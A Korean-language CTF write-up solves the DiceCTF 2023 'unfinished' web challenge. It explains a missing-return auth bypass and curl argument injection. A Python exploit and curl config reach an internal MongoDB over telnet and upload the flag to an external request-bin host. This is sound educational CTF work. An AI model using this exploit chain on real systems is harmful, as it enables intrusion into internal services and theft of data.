ctf writeup

DiceCTF 2023 - unfinished

as3617 2023. 2. 6. 17:07

오랜만에 ctf 뛰었는데 재밌게 풀었다.

const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });

nodejs로 구현된 웹서버인데 flag는 다른 컨테이너에서 돌아가고 있는 mongodb에 있다.

app.post("/api/login", async (req, res) => {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }
    res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

서버에 정의된 router는 2개가 있는데 /api/ping을 사용하기 위해선 login이 필요한 것을 알 수 있다.
하지만 register 기능이 없기 때문에 auth bypass를 하거나 취약점을 통해 로그인 시도를 해야한다.

if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }

login 부분을 확인해보면 users.findOne함수를 사용할 때 취약하게 사용하고 있는 것을 확인할 수 있다.
하지만 위에서 전달되는 파라미터에 대해 string 체크를 진행하고 있어서 nosql injection 공격은 불가능하다.

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

그럼 우린 login 기능을 우회해야하는데 requiresLogin 함수를 보면 이상한 부분을 찾을 수 있다.
세션이 존재하지 않으면 res.redirect를 통해 메인페이지로 리다이렉트시키는데 return이 존재하지 않아서 그대로 next 함수가 실행되게 되고
우린 /api/ping 기능을 사용할 수 있게 된다.

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

/api/ping 기능을 분석해보면 curl을 통해 임의의 url로 요청을 보내는 것을 확인할 수 있다. url은 무조건 http,https로 시작해야하며 응답을 확인할 수는 없지만 curl로 전달되는 인자 값을 컨트롤하는 것이 가능하다.

그럼 임의의 파일을 서버에 다운로드 시킨 다음 -K 옵션을 통해 curl 설정파일을 불러온다면 추가적으로 인자를 전달하며 http url외에도 gopher 프로토콜을 사용하거나 내 서버로 파일을 업로드하는 등 더욱 다양한 동작이 가능할 것이다.

RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher && \
    make && \
    make install

하지만 도커파일에서 curl을 빌드할 때 gopher 프로토콜을 disable한 것을 확인할 수 있다. 하지만 telnet 프로토콜은 사용이 가능하므로 telnet을 이용하여 exploit을 진행하였다.

telnet을 통해 mongodb와 통신을 해야하기에 mongodb에서 사용하는 wire packet에 대해 분석을 진행하였는데 
mongodb client에서 server와 통신할 때 query request외에도 추가적인 요청이 발생하지만 이는 query request에 영향을 주지 않는 별개의 request이며 query request 단독으로 전송되어도 정상적으로 조회한 data를 확인할 수 있다는 것을 알아내었고 이를 토대로 exploit을 작성하였다.

import requests
import time
## download curl config file
url = "https://unfinished-d4b0a20a2b6d8605.mc.ax/api/ping"
requests.post(url,data={"url":"https://ssrf.kr/GET","opt":"-O","data":"GET"})
#time.sleep(1)
## download packet file
requests.post(url,data={"url":"https://ssrf.kr/getflagdata","opt":"-O","data":"GET"})
#time.sleep(1)
## execute curl with config file
requests.post(url,data={"url":"https://ssrf.kr/","opt":"-K","data":"GET"})
time.sleep(2)

## get flag
requests.post(url,data={"url":"https://enllwt2ugqrt.x.pipedream.net/","opt":"-T","data":"POST"})

 

upload-file=getflagdata
output=asdf
url="telnet://mongodb:27017"
upload-file=getflagdata
output=POST
max-time=1

서버에서 curl 바이너리를 실행할 때 timeout 때문에 exploit이 잘 안되는데 몇 번 시도하다보면 flag를 획득할 수 있다.